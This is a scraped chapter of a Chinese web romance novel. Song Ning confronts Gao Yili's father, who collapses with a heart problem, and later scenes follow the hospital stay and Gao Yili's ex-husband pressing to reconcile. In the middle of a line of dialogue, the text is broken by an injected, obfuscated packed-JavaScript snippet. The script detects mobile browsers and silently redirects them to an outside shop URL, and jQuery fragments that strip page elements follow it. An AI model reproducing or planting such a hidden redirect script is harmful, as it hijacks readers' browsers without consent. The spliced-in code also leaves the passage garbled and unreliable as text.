42. 第 42 章
作品:《后生余生(男二上位)》 “高一厘就是个不要脸的贱女人!让她出来!”
这是高远岐打开门后宋宁对他说的第一句话。
他在学校里教书育人一辈子,还没有这样被人指着鼻子骂过。高远岐抬手轻抚了下衬衫第二颗扣子的位置,他换好衣服刚要准备出门。
高远岐没有皱眉,只是脸上略带不认同地看向宋宁,“姑娘,有话好好说,这样没头没尾的到别人家门外出口成脏,不合适。”
“骂的就是你们家!”宋宁活像失去了理智一般,口不择言。每说一句话都能听出她的气息不稳,声嘶力竭。
宋宁原本以为只要她回来,女儿就一定愿意回到她的身边。没有孩子会不亲近母亲,萧湘湘只能是想着盼着想要她。只要女儿回来,萧淳怎么会舍得放开养了六年的孩子。可没想到一切都跟她想的不一样,究其原因还不都是因为高一厘。是她抢先一步占了自己的位置,如果不是她的出现,萧湘湘就不可能对她这个态度。
“年纪那么大离婚带着儿子,这样了还要来拆散别人的家庭!萧湘湘是我的女儿,萧淳早就是我的男人,她凭什么!她还要不要脸!”
“还教我女儿说我不好,怀的是什么肮脏心思你们自己知道!”
“是找不到别的男人要了吗!?”
宋宁一句比一句骂得难听,嗓子嘶哑无力,眼眶通红嘴唇干燥毫无血色。
高远岐抚着胸口的手渐渐用力,他已经许久没有感受过心脏这样强烈而有力的跳动。
楼上楼下渐渐有听到声音探出头来的邻居。
“说话要想清楚再出口。”高远岐面色变了,“我女儿品行端正,做不出也不需要做你说的那种事情。感情上的关系需要自己去解决,不要去牵扯不相干的人。”
隔壁的门打开,林老师戴着老花镜走了出来,“姑娘,你这是在做什么。不管出了什么事到别人家门口这样都不合适,你再不走我们就要报警了。”
宋宁完全没有被这话吓到,她的手死死抓着门把,“高一厘要拆散我的家庭,让我一无所有,抢走我唯一的女儿,这就是事实!就这样你们当父母的还为人师表?哪里来的脸!”
孟航芸去了合唱团,这个时候正好回来从楼下走上来,听到了宋宁的这句话。
她脚步加快,微微气喘,站稳后跟林老师说了一句,“老林,报警。”
林老师和高远岐孟航芸先后相差一年搬进这栋楼里,又前后脚同一年生的孩子,是看着高一厘长大的。就高一厘的性格,别说需不需要做这样上不得台面的事,再好的人如果她不想要,别人硬塞过来高一厘都不会点一下头。她会去争取自己想要的机会,但不会做跟谁抢男人的事。宋宁说的话,林老师一个字都不信,拿出手机要报警。
宋宁见状这才终于慌了起来,扑过去要去夺对方的手机,孟航芸离得远没来得及反应,距离较近的高远岐伸手去拦,宋宁转身下意识一推刚好抵到高远岐的心口。
高远岐早就在宋宁一出现便隐隐作痛的心脏达到了一个临界点,孟航芸惊叫一声亲眼看着高远岐就这样倒了下去。
萧淳听完整件事的过程,宋家父母在一边从第一句话开始就已经觉得无地自容。
宋母捂着脸不知道事情怎么就发展到了这个地步,宋宁简直像个丧失了正常思维能力的疯子,一切错都是别人的,她总是无辜的受害者,宋宁以前明明不是这样的。
宋父一再叹气,“小萧,我能单独跟你聊几句吗?”
上一次去宋家,萧淳把话说得非常明白,如果那个时候宋宁能被家里管控好,至少事情不会闹到眼前这个地步。
“就在这说吧。”
警察见双方还有能沟通的余地,便暂时走开。宋母只是一味垂泪,不再多言语。
宋父低着头,犹豫再三开了口。
宋宁这次会回来找萧湘湘,最重要的一个原因是她以后很可能都不会再有孩子了。
萧淳靠着墙,从兜里掏出烟盒抽出一根没有点,夹在指尖转来转去,随手解了一颗衬衫的扣子。
宋宁遇到那个男人就像在溺水中抓住了唯一的浮木。
她在他身上感受到了上大学时无忧无虑的状态。宋宁渐渐不再焦虑,重新回到被人捧在手心里,被人娇惯的感觉。
那个时候宋宁依旧年轻漂亮,在人群中可以是引人瞩目的存在,因为生育萧湘湘所遭受到的身体和精神上的创伤逐渐被她遗忘了。
所以在男人提出想跟宋宁定下来生一个孩子一起建立一个家庭时,宋宁觉得两个人是心有灵犀不谋而合。她没想到对方跟自己想得居然一样,同样企图这样牢牢抓住对方,于是第二次没有听从父母的意见,同意了。
随着时间一点一点过去,其实宋宁对萧湘湘的情感也逐渐变得复杂起来。
萧湘湘在她身边的时候,宋宁觉得麻烦又疲于应付。可真把萧湘湘送回到萧淳的身边,时间久了,午夜梦回,宋宁偶尔也会想起那个哭起来没完十分闹人的小小身体。
宋宁觉得自己的某个部分空出了一块,需要被什么重新填补上。
矛盾又拧巴。
话说到这个地步,后面的事萧淳能猜出是什么样的结果。
话在宋父口中几个来回总算说出了口。
孩子是生了,可宋宁却在生产过程里出现了些意外,加上之前生萧湘湘子宫遭受了一定的损伤,以后不再适合怀孕。而那个男人,有家族性遗传疾病,孩子也没有能幸免,一生下来就被送进了保温箱,只坚持了十几天就没了呼吸。什么等宋宁身材恢复了再举办婚礼,什么带着孩子一起去领证更圆满,这些话就像失去了光泽表皮的珍珠,究其本质实际上只是一颗有机的矿石。
宋宁被抛弃了。
这一次,她失去的不仅仅是一个孩子和泡沫一般的爱情,还伤了身体的根本变得十分虚弱,精神更是受到了一定的打击。
宋父撇下老脸言辞恳切。
萧淳上次过来他想为女儿保住颜面,如今,宋宁能平安出来才是最重要的。他求萧淳跟高家那边好好商量商量,钱不是问题,只求不要追究宋宁的责任。
真相浮出水面,一切都变得合理又顺理成章,所有的问号都有了答案。
可于萧淳而言,这些都没有任何意义。
高远岐睁开眼睛时高一厘正坐在病床边对着电脑办公。
高一厘感觉到了,转头发现父亲醒了,立刻叫了医生。
医生和护士很快来了病房,高一厘站到一边给孟航芸打电话让她安心,护工小哥干巴巴地立在一旁,站得笔直。
他实在没想到自己居然还有机会和高一厘见面。上次是她男朋友,这次是亲爹,总来医院就算了,关键是他怎么每回都能撞见。
不过怎么这人都醒了怎么也没见萧淳过来,护工小哥那段日子和萧淳关系处得不错。
门被推开,侯喻手里提着大大小小的袋子走了进来,挨着高一厘站定,“情况怎么样?”
护工小哥一见这场景,眼睛瞪得溜圆,开始默默地往门外挪。
高一厘一直盯着病床上的高远岐,“刚醒。”
“我买了些住院能用到的东西,给你放在这。”
“侯喻,你该离开了。”
高一厘的声音里没有掺杂任何情绪,仿佛侯喻就是再普通不过的一个老友。
侯喻握着袋子的手绷紧,面上不显,“小璠跟他外婆回去了,你一个人在这里我不放心,有什么事或许可以帮帮忙。这是高昀璠的外公,我在这里于情于理都是应该。”
医生转过身,高一厘马上迎了上去。
“状态还可以,好好修养,住院多观察几天,身边不要离了人。”
高远岐躺在床上看向女儿,高一厘压下身体靠近。身后的侯喻把医生送了出去,两人之间的默契挥之不去。
“你妈妈有没有怎么样?”
“没有,放心吧爸爸。我让她带着小璠先回去,医院这里找了护工,可以一直在这边陪着你。”
高远岐点了点头认可这个安排,“有人照顾我就可以,你妈妈也会过来,你不要在这守着。都是老毛病了,不要放在心上,别
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17216756|191858||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
耽误工作也别累到自己。”
高一厘眸中的波澜一闪而过,侧了下头才重新看向父亲,“爸爸,对不起。”
高远岐放在床边的手握住了女儿的手腕,“不是你的错。”
高一厘飞快地擦了下眼角,“我知道,这是个意外,该追求的责任我不会就这么算了。”
高远岐刚醒,其实没多少体力,但他不愿让高一厘在愧疚自责的情绪里,所以坚持说道:“这确实不是你所能控制的意外,站在我的角度,你生活的安定性比我更重要。”
高远岐看到了站在门口和医生交谈的侯喻,“如果做不到回头,但至少要清楚自己选择的是一条什么样的路。”
“我知道的爸爸,你相信我。”
高远岐浅浅地笑了下,“我一直很相信自己的女儿。”
说完闭上了眼睛,深深缓了口气。
高一厘帮高远岐理了理被子,让护工小哥进来看一下还需要准备些什么。护工小哥看了眼刚刚侯喻拿来的东西,高一厘点头示意可以用。
侯喻既然带过来就不可能再拿走,这种事上没有必要多矫情。
手机安安静静的除了工作上的事没有一条萧淳发来的信息,高一厘等到探视时间结束和侯喻一起走出了医院。
两个人一路到了停车场。
医院的停车场夜里也不显得有多空旷,一辆又一辆的车子紧密地停着,偶尔会有几个空着的位置,视线不佳的角度处处都是。
侯喻停住脚步,在不太明亮的月光下注视着高一厘。
“你跟他不是一路人,不该在他身上浪费太多的时间。”
“你不要再过来了。”
侯喻听到这话自嘲地笑了下,扯开了话题,“你现在不适合开车,我先把你送回去再回来拿车。”
“侯喻。”
“嗯?”
“别浪费时间。”
侯喻的日程从来都不轻松,每天的行程都需要助理协调安排,今天推了一件事明天就需要挤出格外的时间去完成。
“我爱着的始终都是你,为你做什么都不是在浪费时间。一辈子很长,我们走了一段日子的岔路不代表以后不能重新回到一条路上来。以前我没想过要分开,心里没有过其他人,以后也是一样。你可以试着重新相信我,其实这并没有多难,只要你愿意。我才是你什么时候都可以依靠的男人,在我这,没有那么多的意外。”
在明暗不清晰的视角里,侯喻显得很温柔。
温柔到好像他那五年的出轨,前段时间高一厘一次又一次毫不犹豫地站在另外一个男人身边,都是不值得一提的小事,完全可以被忽略。
“我以为我的意愿和倾向已经表达得足够充分了。”
“总要有一个过程,”侯喻笑了一下,似是在缓解听到这个答案后难受的心情,“而这个过程不管是怎么样的,我想你知道,我愿意一直等,也为之前所有的不理智跟你道歉。”
这才是真正的侯喻,是高一厘所熟悉的模样。
离婚时变得陌生又狼狈的侯喻消失不见,跟高一厘生活多年心思缜密步步为营的男人重新出现了。
“你该道歉的人不是我,该对我道歉的事也不会得到原谅。我没有办法左右你怎么处理我们的关系,但是该说的话还是要说清楚。”
“那件事或许你认为只是一时的失误,但一个失误如果持续了五年,它就不会是一个偶然事件。最起码这五年你应该是十分享受其中的,忙里偷闲,谁能轻易割舍让自己身心愉悦的爱好呢?”
“当初我们在一起,你欣赏我工作上的能力,那就也早该知道,我不是你几句话就能糊弄住的女人。”
侯喻沉默片刻,自嘲般耸了耸肩,“没关系,我们在一起时太过顺利,这次就当给我个机会好好追求你。不过是五年时间,我能给你我此后人生里的每一个五年。”
高一厘不再理会侯喻,转身进了自己的车。
侯喻目送高一厘的车逐渐远去,脸上的笑容如同潮水退去,冰冷开口:“怎么,还不出来?没看够?”

